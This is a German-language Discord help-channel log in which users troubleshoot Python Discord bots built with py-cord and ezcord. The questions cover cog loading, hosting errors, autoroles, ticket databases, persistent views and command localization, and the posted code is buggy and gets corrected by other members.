#Allgemeine Hilfe
1 messages · Page 72 of 1
was?
hier
naja cogs haben halt kein execute
Wie checke ich ob der Bot den Kanal erstellen darf?
wie meiste du das ?
Genau so wie ich geschrieben hab, ich möchte eine Nachricht senden, wenn der Bot keine Perms hat
if message.guild.me.guild_permissions.manage_channels:
await message.channel.send('test 1')
else:
await message.channel.send('test 2')``` so glaube ich
und in das else die fehlermeldung ballern?
ja
danke 
Bitte 
Kann man Slash commands und Prefix cmds in einen Bot machen, wenn ja kommen dir prefix cmds in ein cog oder in main.py?
nutzt du nur py-cord oder auch ezcord
und kann alles in die main.py UND cogs
pycord und ezcord
also prefix cmds in die main.py?
ezcord.PrefixBot() müsstest machen
is egal wo du was hin machst
ok danke probiere mal paar sachen
Keine Ergebnisse für ezcord.Prefixbot gefunden. Meintest du Folgendes?
Was war denn da, wenn ich fragen darf
Das Problem?
Also was das für ein verbotener code war
achso war ein buyer help dc bot und da waren halt meine tos zu sehen oder halt meine pp email und ltc addresse
01101000 01110100 01110100 01110000 01110011 00111010 00101111 00101111 01101101 01100101 01110100 01100001 01100110 01110010 01100001 01100111 01100101 00101110 01100100 01100101 😉
Stell die frage einfach
Wart
Ich versuch es mal nochmal wenn es weiterhin ned geht danmn komm ich
So hab es nicht geschafft, hier ist der Fehler code
File "/home/container/main.py", line 29, in <module>
for filename in os.listdir("cogs"):
FileNotFoundError: [Errno 2] No such file or directory: 'cogs'
container@pterodactyl~ Server marked as offline...
[Pterodactyl Daemon]: ---------- Detected server process in a crashed state! ----------
[Pterodactyl Daemon]: Exit code: 1
[Pterodactyl Daemon]: Out of memory: false
[Pterodactyl Daemon]: Aborting automatic restart, last crash occurred less than 60 seconds ago.
Ich habe meinen ganzen Cogs file rein getan, weiß nicht was nun das problem ist und es immernoch wieso auch immer cogs sagt
Hier ist mein requirements.txt datei
python-dotenv
aiosqlite
load_dotenv
requests
random```
Hey
import discord
import os
from dotenv import load_dotenv
import ezcord
import asyncio
intents = discord.Intents.all()
bot = ezcord.PrefixBot(intents=intents, command_prefix='!')
async def status_task():
await bot.wait_until_ready()
while not bot.is_closed():
guild = bot.get_guild(1157722121733152818) # Replace GUILD_ID with your actual guild ID
if guild:
users = sum(not member.bot for member in guild.members)
await bot.change_presence(activity=discord.Game(f"mit {users} Usern"), status=discord.Status.online)
await asyncio.sleep(10)
await bot.change_presence(activity=discord.Game("Mave Service #1"), status=discord.Status.online)
@bot.event
async def on_member_join(member):
role_ids = [1174698695112007732]
for role_id in role_ids:
role = member.guild.get_role(role_id)
await member.add_roles(role)
bot.add_help_command()
if __name__ == "__main__":
for filename in os.listdir("cogs"):
if filename.endswith(".py"):
bot.load_extension(f"cogs.{filename[:-3]}")
load_dotenv()
bot.loop.create_task(status_task())
bot.run()
was ist das Problem in meinem code
Hast du einen ordner der cogs heißt?
warum wird der status nicht change
Wäre bessser wenn du dein Problem beschreiben würdest
warum wird der status nicht change
Warum machst du es nicht in einer @tasks.loop?
Ist viel unkomplizierter, habe das auch so
wie?
Oder wenn du ja eh ezcord nutzt, kannst du ja den ezcord feature nutzen
import discord
ModuleNotFoundError: No module named 'discord'
container@pterodactyl~ Server marked as offline...
[Pterodactyl Daemon]: ---------- Detected server process in a crashed state! ----------
[Pterodactyl Daemon]: Exit code: 1
[Pterodactyl Daemon]: Out of memory: false
[Pterodactyl Daemon]: Aborting automatic restart, last crash occurred less than 60 seconds ago.```
Jetzt kommt so eine Fehlermeldung..
bot.add_status_changer(
[
discord.Game("mit {user_count} Usern"),
discord.Game("Mave Service #1")
],
interval=10
)
@worldly phoenix
hast du py-cord in der requirements.txt stehen?
Ja
Schau zur sicherheit nochmal nach xD
python-dotenv
aiosqlite
load_dotenv
requests
random```
Wo steht da py-cord?
Wenns nicht klappt, geh zu dem Tab startup oder so und dann bei Additional Python Packages gibst du py-cord an
Und prüf am besten nochmal ob deine requirements.txt richtig heißt
das geht nie
Damit kann ich nicht's anfangen
Ist es leicht einen Taschenrechner zu coden?
Ansichstssache
Meinst du als Desktop App? Oder Web Anwendung?
Oder Discord Bot?
Discord prefix cmd
Ja warte bitte
Kommt drauf an wie lange du Codest, aber für mich wäre es jetzt keine Schwierigkeit
Nope alles überprüft geht immernoch nicht
Dann musst du dich an @solid ingot wenden
so ```py
import discord
import os
from dotenv import load_dotenv
import ezcord
from discord.ext import tasks
intents = discord.Intents.all()
bot = ezcord.PrefixBot(intents=intents, command_prefix='!')
async def status_task():
guild = bot.get_guild(1157722121733152818)
if guild:
users = sum(not member.bot for member in guild.members)
bot.add_status_changer(
[
discord.Game(f"mit {users} Usern"),
discord.Game("Mave Service #1")
],
interval=10
)
@bot.event
async def on_member_join(member):
role_ids = [1208174598659768382]
for role_id in role_ids:
role = member.guild.get_role(role_id)
await member.add_roles(role)
bot.add_help_command()
if name == "main":
for filename in os.listdir("cogs"):
if filename.endswith(".py"):
bot.load_extension(f"cogs.{filename[:-3]}")
load_dotenv()
bot.run()
ist es so richtig
Habe es mal probiert kein error aber der bot gibt keine antwort
@worldly phoenix ich nutze ezcord selber zwar nicht, aber anhand der Dokumentation vermute ich, dass es so aussehen soll:
import discord
import os
from dotenv import load_dotenv
import ezcord
from discord.ext import tasks
intents = discord.Intents.all()
bot = ezcord.PrefixBot(intents=intents, command_prefix='!')
bot.add_status_changer(
[
discord.Game(f"mit {users} Usern"),
discord.Game("Mave Service #1")
],
interval=10
)
@bot.event
async def on_member_join(member):
role_ids = [1208174598659768382]
for role_id in role_ids:
role = member.guild.get_role(role_id)
await member.add_roles(role)
bot.add_help_command()
if __name__ == "__main__":
for filename in os.listdir("cogs"):
if filename.endswith(".py"):
bot.load_extension(f"cogs.{filename[:-3]}")
load_dotenv()
bot.run()
ModuleNotFoundError: No module named 'dotenv'
container@pterodactyl~ Server marked as offline...
[Pterodactyl Daemon]: ---------- Detected server process in a crashed state! ----------
[Pterodactyl Daemon]: Exit code: 1
[Pterodactyl Daemon]: Out of memory: false
[Pterodactyl Daemon]: Aborting automatic restart, last crash occurred less than 60 seconds ago.```
Jetzt kommt das
Okay. Aber mit dieser Info können wir nicht viel Anfangen
pip install dotenv
Hat's mit Additional Python packages geklappt?
... Er ist im Panel
Ja
Hä ??
Dann füg auch python-dotenv da hinzu
dotenv in die r
geht nicht weil user jetzt nicht da ist
okay
async def status_task():
guild = bot.get_guild(1157722121733152818)
if guild:
users = sum(not member.bot for member in guild.members) muss ja das
Warum hast du denn ein f-string hinzugefügt und user_count entfernt??
Die Variable wird von alleine ersetzt.
Schau doch einfach mal in die Dokumentation
import discord
import os
from dotenv import load_dotenv
import ezcord
from discord.ext import tasks
intents = discord.Intents.all()
bot = ezcord.PrefixBot(intents=intents, command_prefix='!')
bot.add_status_changer(
[
discord.Game("mit {user_count} Usern"),
discord.Game("Mave Service #1")
],
interval=10
)
@bot.event
async def on_member_join(member):
role_ids = [1208174598659768382]
for role_id in role_ids:
role = member.guild.get_role(role_id)
await member.add_roles(role)
bot.add_help_command()
if __name__ == "__main__":
for filename in os.listdir("cogs"):
if filename.endswith(".py"):
bot.load_extension(f"cogs.{filename[:-3]}")
load_dotenv()
bot.run()
Gibt es da eine lösung?
Wenn requirements.txt und Additional Python Packages nicht klappt, wende dich am besten an Timo
aber dann wird alles auch bots angezeigt oder?
Steht alles in der Dokumentation!!
link bitte?
Das ist jetzt ein schlechter Scherz?
Ich bin dir am helfen, verbessere deinen Code und du bist zu faul um selber in der Dokumentation zu suchen?
Das kannst du dir selber da suchen
okay
@solid ingot ( Sorry für den Ping ) leider haben wir jetzt vieles versucht jedoch klappt es nicht, wenn du mir helfen könntest wäre ich dir dankbar
Muss ich eigentlich den Token irgendwo bei Keks Hosting auch einfügen?
Das ist der Fehlercode
ja natürlich
dein token kann nicht geladen werden
manno
Hmm… muss ich den Token in Requirments.txt einfügen?
nö
ne, wo hast du den token denn aktuell?
ja die musst du auch da laden 🤔
Soll ich den .env datei rein ziehen?
ja wenn du sie halt noch nicht drauf hast
Passt danke dir ich versuche es mal.. ich dummer idiot
jeder lernt ja
ja gut bin ned neu in der sache drinne sind halt manchmal blamierende fehler xd
Jeder lernt aus seinen Fehlern! :D
kann man so machen ? ```py
async def setup(self):
await self.execute(
"""CREATE TABLE IF NOT EXISTS ticket(
server_id INTEGER PRIMARY KEY,
category_id INTEGER DEFAULT 0,
teamrole_id INTEGER DEFAULT 0,
logs_channel_id INTEGER DEFAULT 0,
ticket_channel_id INTEGER DEFAULT 0,
set_name_count INTEGER DEFAULT 0,
panel_name TEXT DEFAULT NULL
)"""
)
await self.execute(
"""CREATE TABLE IF NOT EXISTS ticket_settings (
server_id INTEGER PRIMARY KEY,
open_tickets TEXT,
close_tickets TEXT,
format_names TEXT,
embed_message TEXT,
FOREIGN KEY (server_id) REFERENCES ticket(server_id)
)"""
)```
Denke schon ja
Wenns IDs sind, würde ich jedoch empfehlen kein DEFAULT 0 zu machen.
Wenn das dann später NULL ist, bekommst du None zurück, wo du ganz easy if not variable machen kannst.
Und DEFAULT NULL ist automatisch so, das ist überflüssig.
Und wenn du normale Discord IDs hast, könntest du Probleme bekommen, wenn du server_id INTEGER machst, denn die Discord IDs sind meist zu lang für einen normalen INTEGER - zumindest in der Datenbank.
BIGINT würde ich eher empfehlen, oder TEXT.
Hoffe, das hilft ^^
Habe ein Fehler
wo hast dein gemacht
Was
in cogs oder wo
Ja cogs
zeig mal code
wie gemacht hast
wo hin hast du es gemacht
@void creek es geht alles
dann ist das wegen die Einrückung mache über PC
Habe kein
denn komm mal dm
Wie sende ich nochmal eine DM an einen bestimmten user (ich hab nur die ID)
Keine Ergebnisse für discord.Interaction.guild.owner gefunden. Meintest du Folgendes?
Müsste dennoch mit interaction.guild.owner.id sein
interaction.guild gibt die Guild der Interaktion wieder, also den Server.
Und mit guild.owner kannst du auf den Owner zugreifen
Alles klärchen, dankeschön
@bot.slash_command(name="setup_autorole", description="Setup the autorole")
@commands.has_permissions(administrator=True)
async def setup_autorole(ctx, role: discord.Role):
if not ctx.author.guild_permissions.administrator:
await ctx.respond("You don't have permission to use this command", ephemeral=True)
return
for member in ctx.guild.members:
await member.add_roles(role)
await ctx.respond(f"Successfully setup the autorole for the role: {role.mention}", ephemeral=True)
@setup_autorole.error
async def setup_autorole_error(ctx, error):
if isinstance(error, commands.MissingPermissions):
await ctx.respond("You don't have permission to use this command", ephemeral=True)```
es gibt nicht die "await ctx.respond(f"Successfully setup the autorole for the role: {role.mention}", ephemeral=True)" msg woran liegt es auch kein error
nur "The application did not respond" und "You don't have permission to use this command"
Füg mal ein defer hinzu, vielleicht braucht die interaktion einfach zu lange.
@bot.slash_command(name="setup_autorole", description="Setup the autorole")
@commands.has_permissions(administrator=True)
async def setup_autorole(ctx, role: discord.Role):
await ctx.defer()
if not ctx.author.guild_permissions.administrator:
await ctx.respond("You don't have permission to use this command", ephemeral=True)
return
for member in ctx.guild.members:
await member.add_roles(role)
await ctx.respond(f"Successfully setup the autorole for the role: {role.mention}", ephemeral=True)
@setup_autorole.error
async def setup_autorole_error(ctx, error):
if isinstance(error, commands.MissingPermissions):
await ctx.respond("You don't have permission to use this command", ephemeral=True)
if not ctx.author.guild_permissions.administrator:
await ctx.respond("You don't have permission to use this command", ephemeral=True)
return
kann ich removen oder?
Joa ist eigentlich unnötig, da du es schon im decorator hast
@bot.slash_command(name="setup_autorole", description="Setup the autorole")
@commands.has_permissions(administrator=True)
async def setup_autorole(ctx, role: discord.Role):
await ctx.defer()
return
for member in ctx.guild.members:
await member.add_roles(role)
await ctx.respond(f"Successfully setup the autorole for the role: {role.mention}", ephemeral=True)
@setup_autorole.error
async def setup_autorole_error(ctx, error):
if isinstance(error, commands.MissingPermissions):
await ctx.respond("You don't have permission to use this command", ephemeral=True)```
so?
Probier's aus
Das return weg machen
oki
nun gibt der
"NexoRole is thinking..."
Wie viele Member sind denn auf dem server?
350+
ist aber doch gemacht das er nur neue rolen soll nicht?
also wenn ein member joined soll der geroled werden
Dann kann das bisschen dauern, weil du gehst mit dem Code durch alle Member und gibst allen Membern die Rolle.
Und das sind auch sehr viele Anfragen an die Discord API, was bedeutet das du auch einen Rate Limit bekommen kannst
was hat chat gpt gemacht man
der soll nur leute rolen die joinen
...
das ist doch so ein kack
es gibt mir meistens gute sachen
aber nun hat es mich enttäusched
Aber wieso kommst du nicht selber auf die Guten sachen?
on_member_join event muss da rein
Selber Coden bringt viel mehr als eine KI zu fragen
weil ich keine zeit bis jetzt hatte python zu lernen
ja die zeit fehlt mir dazu
och man
autorole_role = None
@bot.event
async def on_member_join(member):
global autorole_role
if autorole_role:
role = member.guild.get_role(autorole_role)
if role:
await member.add_roles(role)
@bot.slash_command(name="setup_autorole", description="Setup the autorole")
@commands.has_permissions(administrator=True)
async def setup_autorole(ctx, role: discord.Role):
global autorole_role
await ctx.defer()
autorole_role = role.id
await ctx.respond(f"Successfully setup the autorole for the role: {role.mention}", ephemeral=True)
@setup_autorole.error
async def setup_autorole_error(ctx, error):
if isinstance(error, commands.MissingPermissions):
await ctx.respond("You don't have permission to use this command", ephemeral=True)```
sorry für den ping aber meinst du das geht nun wie es soll?
am ende rolled der jeden
@solid ingot
das der code dazu:
#string_locals = {"de": de}
#ezcord.i18n.I18N(string_locals)
self.localize_commands(de)```
das liegt wohl an deiner language datei
Was genau muss man machen, damit der Bot diese Badge bekommt? Ja mein Bot kann slash-Befehle.
Dann müsste das badge schon da sein wenn dein bot Slash commands hat
Der bot muss globale Slash Commands haben, also nicht auf einen Server beschränkt
Wie könnte ich die Items von meiner Economy Speichern? Hab keine ahnung wie ich das machen soll...
Also nicht die Items, sondern die Inventare
import discord
import requests
import asyncio
import time
from datetime import datetime, timedelta
import json
intents = discord.Intents.default()
intents.messages = True
intents.message_content = True
intents.reactions = True
intents.guilds = True
intents.guild_messages = True
bot = commands.Bot(command_prefix=".", intents=intents)
ping_history = {}
@bot.event
async def on_ready():
print(f'We have logged in as {bot.user}')
@bot.command()
async def paylog(ctx, exchanger: discord.Member, buyer: discord.Member, typ: str, amount: int):
try:
embed = discord.Embed(title="Exchange completed", color=0x00ff00)
embed.add_field(name="Exchanger", value=exchanger.mention, inline=False)
embed.add_field(name="Buyer", value=buyer.mention, inline=False)
embed.add_field(name="Type", value=typ, inline=False)
embed.add_field(name="Amount", value=f"€{amount}", inline=False)
await ctx.send(embed=embed)
except Exception as e:
await ctx.send(f"Es ist ein Fehler aufgetreten: {e}")
allowed_channels = [1216380921041784882, 1216381760443514940, 1216389774244577300
@bot.event
async def on_message(message):
if message.author.bot:
return
global ping_history
if message.channel.id in allowed_channels:
if message.content.startswith('@everyone') or message.content.startswith('@here'):
if message.channel.id in ping_history:
pings = ping_history[message.channel.id]
else:
pings = {'count': 0, 'last_ping_time': 0}
ping_history[message.channel.id] = pings
current_time = time.time()
if current_time - pings['last_ping_time'] >= 86400:
pings['count'] = 0
pings['last_ping_time'] = current_time
if pings['count'] < 2:
pings['count'] += 1
if pings['count'] == 1:
embed = discord.Embed(title="**__1/2 | Use MM__**", description="", color=0x00ff00)
embed.set_footer(text="Devolped by poison.", icon_url="")
elif pings['count'] == 2:
next_ping_time = datetime.fromtimestamp(pings['last_ping_time']) + timedelta(days=1)
next_ping_time_str = next_ping_time.strftime("%Y-%m-%d %H:%M:%S")
embed = discord.Embed(title="**__2/2 | Use MM__**", description=f"You can ping in {next_ping_time_str} (UTC) again.", color=0xFF0000)
embed.set_footer(text="Devolped by poison.", icon_url="")
else:
next_ping_time_str = next_ping_time.strftime("%Y-%m-%d %H:%M:%S")
next_ping_time = datetime.fromtimestamp(pings['last_ping_time']) + timedelta(days=1)
await message.channel.send(embed=embed)```
kann wer helfen habe den cmd .paylog und der geht gnicht aber wenn ich den anderen also mit allowed channels weg mache geht der
Wie gette ich in einer Interaction?
self.bot geht ja nid
Bot einfach mit übergeben
puh, wie ? 
Habe die Badge und keiner meiner Bots hat globale commands (glaube ich, denn ich habe keine ahnung wie man globale und nicht globale macht)
Mein Discord Server
► https://discord.gg/zfvbjTEzv6
Code auf Github ► https://github.com/tibue99/tutorial-bot
Discord Developer Portal ► https://discord.com/developers/applications
Pycord
Docs ► https://docs.pycord.dev/
Guide ► https://guide.pycord.dev/introduction/
Discord Server ► https://discord.gg/pycord
Heute klären wir eine Frage, die ...
Hi, Ich habe ein problem,
Mein Bot geht online und läöd alle befehle und wenn ich den befehl eingabe dann kommt anwendung reagiert nicht und der befehl besteht nur aus eine print("test")
du reagierst nicht auf die anwendung. reagieren ist ctx.respond("test")
ja aber der printet mir auch nix
print oder ctx.respond?
Wie sieht den der Code aus?
@commands.has_permissions(administrator=True)
@commands.cooldown(1, 10, commands.BucketType.user)
@discord.guild_only()
async def tempy(self, ctx):
print("test")```
Du achtest auch auf den Cooldown?
selbst wenn nicht würde ich nen error bekommen
Welchen?
irgentteinen
Wie kann ich in py-dactyl ein Server Backup erstellen? Die Funktion API.client.servers.backup.crrate_backup() macht nix aber ich bekomme auch keinen error
ka
Was ist denn das, wenn ich fragen darf ?
Ist ein Python API Wrapper für Pterodactyl
try:
response = api.client.servers.backups.create_backup(server_id=5)
print(response)
except Exception as e:
print(f"Ein Fehler ist aufgetreten: {e}")
Error:
Ein Fehler ist aufgetreten: 404 Client Error: Not Found for url: https://panel.bot-hosting.online/api/client/servers/5/backups
das ist der error
Jungs mal nh kleine frage, wenn ich in meinen Embeds bilder rein tue werden die nach einigen Tagen nicht mehr geladen? Wie kann man das fixxen
das ist wahrscheinlich auf der seite von discord ein problem
er findet die url nicht steht eig da 🤔
hast du die Bilder als nh Discord Link angegeben?
wenn ja, die laufen irgendwann ab.
hat Discord so gemacht
Kannst die Bilder z.B. auf Imgur dann hochladen und den Link nehmen
Passt danke dir
Laufen die dann da nie ab oder wie ?
Wie kann ich pycord und EzCord Updaten in Pterodactyl
Habs
Kann ich das auch in der requirements.txt updaten lassen
Bei imgur nein
Erst wenn du sie löscht
Ah nice
Bei jedem start des servers wird automatisch die neuste version heruntergeladen eigentlich.
Musst es nur in der requirements.txt stehen haben
Ok danke
Er gibt mir einen MissingPermissions Error und schreibt "TICKET WIRD GELÖSCHT", warum?
Vielleicht keine Rechte den Channel zu löschen, oder dem user eine nachricht zu senden, oder in den Channel (channel) eine nachricht zu senden.
Kann viele gründe haben
Aber ich hab doch den manage_channels check gemacht
und die Nachricht schreibt er ja auch
oder bin ich lost
Diese Zeile macht eine unnötige Anfrage an die Discord API, wieso fetcht gettest du den Owner mit get_user, wenn du einfach interaction.guild.owner machen kannst, dass gibt dir das selbe aus
also einfach interaction.guild.owner.send()?
ja.
mit get_user bekommst du genau das selbe Objekt wie mit interaction.guild.owner
true, keine ahnung was da los war
Aber wenn du unbedingt eine user-variable willst, geht es auch so:
user = interaction.guild.owner
await user.send(embed=embed)
Also der Bot hat Admin aber gibt mir bei channel.delete einen Missingpermissions error. Ausserdem sollte er wenn er die perms nicht hat eine andere Nachricht senden
Um es richtig zu verstehen:
- Du willst den Channel mit dieser ID löschen, richtig?
ne, den interaction channel
versuche ich den zu löschen?
uff
Du versuchst in deinem Code den channel mit dieser ID zu löschen
ja gut, dass sollte nicht so sein
danke
dann nicht channel.delete sondern interaction.channel.delete
Er sagt immer die Mod Rolle konnte nicht gefunden werden, wieso
Du hast da get_role, aber willst wahrscheinlich nen Channel oder?
Gefixt, er schickt aber immer in DM und nicht in den Transcript Channel
Ich werde jetzt nicht den ganzen Code durchschauen
Schick doch einfach das wichtigste
keine ahnung was davon das wichtigste ist
Das ist ein DM send
soll ja so, er soll nur DM senden, wenn es keinen Transcript Channel gibt
Aber du hast die Zeile 2x drin auch wenn der transcriptchannel da ist
upsiiii
Und nenn bitte deine embeds nicht immer embed das ist bisschen verwirrend 🥴
werd ich ab jetzt tun 
👍
mach ich auch hehehe
Psychopath
nö
irgendwie kann ichkein modal importieren
mein github copilot schlägt mir das sogar vor jtzt xd
Das machen nur Psychos 
Jo Jo Jo calm down
gib ma nen code dazu

welchen code

von dem ticket cog


Importier module nur wo du sie auch brauchst
hab ich ja
Du kannst ein Modul nicht in mehreren Datein importieren wenn eine andere datei darauf zugreifen muss
ok
sagt der error dir auch
most likely due to a circular import
ERIKKK
Erzähl
Lass #💬・chat
Moinooo, mein Bot sagt dass "Guild keine Attribute namens "members" hat- schaue aber in den docs nach und finde "members".
File "/home/container/cogs/levelsystem.py", line 253, in is_connected
for member in guild.members:
AttributeError: 'NoneType' object has no attribute 'members'
Error lesen!
Deine guild-Variable ist None
Das heißt die Guild wird nicht gefunden
Hallo ich habe des öfteren gesehen das man einen bot machen kann der auf verschiedenen server verschiedene Profil Bilder oder Namen hat ist aber der gleiche bot weiß wer wie das geht?
Ich glaube das server owner das profilbild änder können vom Bot
was genau heißt das o.O
da fehlt ein await irgendwo

Hey wollte fragen mit welchen Event oder wie mann es macht das wenn ein user boostet das er dann von bot eine dm bekommt und eine nachricht in chat bekommt ich weiß wie das mit der nachricht funktioniert aber würde gerne wissen wie das mit dem boosten funktioniert also ob mann das mit einen event macht und wenn ja mit welchen
Z.b. mit einem on_member_update
Schau mal in #1027677692730036294 vorbei, da haben paar leute schon deren Booster Update Code hochgeladen
Ah ok danke
Ich schau mal
@commands.Cog.listener()
async def on_ready(self):
self.bot.add_view(TutorialSelect())
Ignoring exception in on_ready
Traceback (most recent call last):
File "C:\Users\devolix\AppData\Local\Programs\Python\Python310\lib\site-packages\discord\client.py", line 400, in _run_event
await coro(*args, **kwargs)
File "C:\Users\devolix\Downloads\CADE\cogs\botproducts.py", line 19, in on_ready
self.bot.add_view(TutorialSelect())
File "C:\Users\devolix\AppData\Local\Programs\Python\Python310\lib\site-packages\discord\client.py", line 1945, in add_view
raise TypeError(f"expected an instance of View not {view.__class__!r}")
TypeError: expected an instance of View not <class 'cogs.botproducts.TutorialSelect'>
Hey weiß wer warum ich das Dropdown nicht zur View adden kann damit es nach dem Neustart nutzbar bleibt?
Schick mal TutorialSelect() klasse
class TutorialSelect(discord.ui.Select):
def __init__(self):
super().__init__(
min_values=1,
max_values=1,
placeholder="» Select a product",
options=options
)
Funktioniert der View, wenn du ihn nicht im on_ready addest?
ja funktioniert
Ich möchte halt das der dropdown auch nach dem Neustart funktioniert
Ich helfe dir gleich
class test (discord.ui.View):
def __init__(self):
super().__init__(timeout=None)
@discord.ui.select(
custom_id="test",
min_values=1,
max_values=2,
placeholder="Make a selection of your ticket",
options=options,
)```
so muss machen @chrome trellis
oh
ja
Select Menü haben eigentlich keine Custom ID deswegen musst du ein button darüber machen
funktioniert igw. nicht
Send mal dein ganze code
okay check deine dm's
Hm bin gleich an pc weit
Kann mir einer kurz im Call helfen
ja on ready adden
wenn ich das select da adde kommt ein fetter error
Natürlich haben select menüs Custom Id's!??
welcher??
wait
Traceback (most recent call last):
File "C:\Users\devolix\AppData\Local\Programs\Python\Python310\lib\site-packages\discord\client.py", line 400, in _run_event
await coro(*args, **kwargs)
File "C:\Users\devolix\Downloads\CADE\cogs\botproducts.py", line 19, in on_ready
self.bot.add_view(TutorialSelect())
File "C:\Users\devolix\AppData\Local\Programs\Python\Python310\lib\site-packages\discord\client.py", line 1945, in add_view
raise TypeError(f"expected an instance of View not {view.__class__!r}")
TypeError: expected an instance of View not <class 'cogs.botproducts.TutorialSelect'>
Zeig mal wie du es adden tust
@commands.Cog.listener()
async def on_ready(self):
self.bot.add_view(TutorialSelect())
ich kapiere es nicht es liegt dan remove aber ich finde den fehler nicht
de:
show_welcome_text:
name: willkommens_text
remove_welcome:
name: channel_löschen
set_welcome_message:
name: willkommens_message
description: Setzte die Willkommens Nachricht
options:
welcome_title:
description: Schreibe ein Embed title
welcome_text:
description: Schreibe die Willkommens nachricht```
```py
File "F:\offi bots\Cloud\venv\lib\site-packages\discord\http.py", line 373, in request
raise HTTPException(response, data)
discord.errors.HTTPException: 400 Bad Request (error code: 50035): Invalid Form Body
In 2.name_localizations: String value did not match validation regex.```
also wenn du remove_welcome weg lässt geht es?
ja
hast du es getestet oder sagst du des grad nur xD
Naja ich hab es vorhin getestet mehrmals
also ich kann sagen es liegt nicht am code in der yaml der geht bei mir einwandfrei
du hast da cmd_localizations als string es muss aber ein String in einem dictionary sein
Es ging ja bevor ich das mit Remove gemacht habe
es liegt nicht an der yaml
hi, warum erstellt er jedes mal eine Neue Zeile?
Bitte etwas genauer
Er erstellt in der DB jedes mal eine neue Row anstatt die XP zusammen zu addieren :)
Weil du es dann so machst, dass es immer in die Datenbank reingepackt wird, aber wenn der User schon in der Datenbank ist soll sie sich nur geupdatet werden und dies macht man mit einer If Abfrage
Fragst beim Updaten ja auch nicht, auf welche User Id es sich updaten soll
Sorry, Screenshot war älter
Ist das richtig?
irgendwas stimmt mit deinem primary key nicht. wenn eine spalte primary key ist, kann jeder wert nur einmal vorkommen
hm
Sollte so sein ja, aber zu Not gut Timos Video nochmal zu ezcord DB Handler
naja, der hase funktioniert ja nicht
Es stimmt alles Timo. Sind 2 Verschiedene ID‘s
bin aber 2x ich
was geht da ab
ah stimmt sind verschiedene ja dann passt alles
Musst du Timo fragen. Ich benutze lieber aiosqlite, weil ich es einfach angenehmer finde
warum hab ich 2 verschiedene ID´s?
Ich pinge die mal..
Maybe deine und bot id
vlt dein zweitaccount @twilit anvil
aber der atze schickt eigentlich keine Nachricht
<@&id> pingt deleted role
zeig mal wo du die yaml datei im code lädst
ohne &
Lösch mal die db und probiere es nochmal und wenn wieder 2 ID‘s drinnen sind, dann Trackt der Bot es irgendwo
ich machs nochmal
jetzt sind die ID`s andere 💀
Auf wie vielen Servern ist der Bot ?
3, darunter 1 Transkript Server, mein Testserver und einer wo grad niemand online ist
Trotzdem muss der Bot egal von einem User von denn 3 Servern Nachrichten tracken
aber es werden nirgendwo nachrichten gesendet
Lass dir mal die Message Printen mit der der User in der dB gespeichert wird
gute idee
Muss aber woher kommen
mach ich da einfach on_message(self, member, message)?
Glaube ja
Mach mal das member weg und schreibe message.author.id
also im await db.give_xp?
Jo
Das member komplett vor message weg machen
ah
Das gehört da auch nicht rein
jetzt geht`s :)
Und mit welcher Nachricht werden die User in der DB gespeichert ?
Jetzt nurnoch mit der, die ich gesendet hab
Problem gelöst
jo
Wieso hast du da überhaupt member eingetragen ?
Wusstest du es nicht besser oder wieso ?
nö
dachte es wäre so gewesen
Ah okay
Wie kann ich bei DB-Timestamps checken, ob etwas weniger als z.B. 3 Stunden her ist?
da kann ich dir ein gutes video empfehlen 
Lass mich raten. Von CodingKeks?
genau
Wie machst du das man das sehen kann und sich das immer ändert ?
mit dem ezcord status changer 😎 https://ezcord.readthedocs.io/en/latest/ezcord/bot.html#ezcord.bot.Bot.add_status_changer
Okay
with open("commands.yaml") as file:
commands = yaml.safe_load(file)
bot = ezcord.Bot(language="de",
intents=discord.Intents.all(),
error_webhook_url=os.getenv('WEBHOOK_URL'))
bot.load_cogs("cogs", subdirectories=True)
bot.add_help_command(ephemeral=True, author_only=True, show_cmd_count=True)
bot.localize_commands(commands, default="en-US")
load_dotenv()
bot.run(os.getenv("TOKEN"))```
du hast kein encoding angegeben, deswegen können äöü nicht richtig geladen werden
hatte ich dabor auch nicht deswegen dachte ich das ist nur für die Konsole
danke es geht :d
in welchem video war das, dass das on_ready event nur einmal und nicht mehrmals ausgeführt wird?
discord.errors.ApplicationCommandInvokeError: Application Command raised an exception: OperationalError: no such table: ticket``````py
class TicketDB(ezcord.DBHandler):
def __init__(self):
super().__init__("db/ticket.db")
async def setup(self):
await self.execute(
"""CREATE TABLE IF NOT EXISTS ticket(
server_id INTEGER PRIMARY KEY,
category_id INTEGER DEFAULT 0,
teamrole_id INTEGER DEFAULT 0,
logs_channel_id INTEGER DEFAULT 0
)"""
)
async def set_category(self, server_id, category_id):
await self.execute(
"INSERT INTO ticket (server_id, category_id) VALUES (?, ?) ON CONFLICT(server_id) DO UPDATE SET category_id = ?",
(server_id, category_id, category_id)
)
async def get_category(self, server_id):
return await self.one("SELECT category_id FROM ticket WHERE server_id = ?", (server_id,))
async def set_teamrole(self, server_id, teamrole_id):
await self.execute(
"INSERT INTO ticket (server_id, teamrole_id) VALUES (?, ?) ON CONFLICT(server_id) DO UPDATE SET teamrole_id = ?",
(server_id, teamrole_id, teamrole_id)
)
async def get_teamrole(self, server_id):
return await self.one("SELECT teamrole_id FROM ticket WHERE server_id = ?", (server_id,))
async def set_logs_channel(self, server_id, logs_channel_id):
await self.execute(
"INSERT INTO ticket (server_id, logs_channel_id) VALUES (?, ?) ON CONFLICT(server_id) DO UPDATE SET logs_channel_id = ?",
(server_id, logs_channel_id, logs_channel_id)
)
async def get_logs_channel(self, server_id):
return await self.one("SELECT logs_channel_id FROM ticket WHERE server_id = ?", (server_id,))
db = TicketDB()```
@commands.Cog.listener()
async def on_ready(self):
self.bot.add_view(TutorialSelect())
Traceback (most recent call last):
File "C:\Users\devolix\AppData\Local\Programs\Python\Python310\lib\site-packages\discord\client.py", line 400, in _run_event
await coro(*args, **kwargs)
File "C:\Users\devolix\Downloads\CADE\cogs\botproducts.py", line 19, in on_ready
self.bot.add_view(TutorialSelect())
File "C:\Users\devolix\AppData\Local\Programs\Python\Python310\lib\site-packages\discord\client.py", line 1945, in add_view
raise TypeError(f"expected an instance of View not {view.__class__!r}")
TypeError: expected an instance of View not <class 'cogs.botproducts.TutorialSelect'>
Hey ich versuche das Dropdown auch nach einem Neustart am leben zu halten jedoch kommt dieser error
Schick den Code von Menü
Ich checke nicht, wie ich mit dem DB Datetime Video nen Cooldown machen kann für mein Levelsystem
pls help
Wird die Ticket DB erstellt?
ja
Okay wait
class TutorialSelect(discord.ui.Select):
def __init__(self):
super().__init__(
min_values=1,
max_values=1,
placeholder="» Select a product",
options=options
)
async def callback(self, interaction):
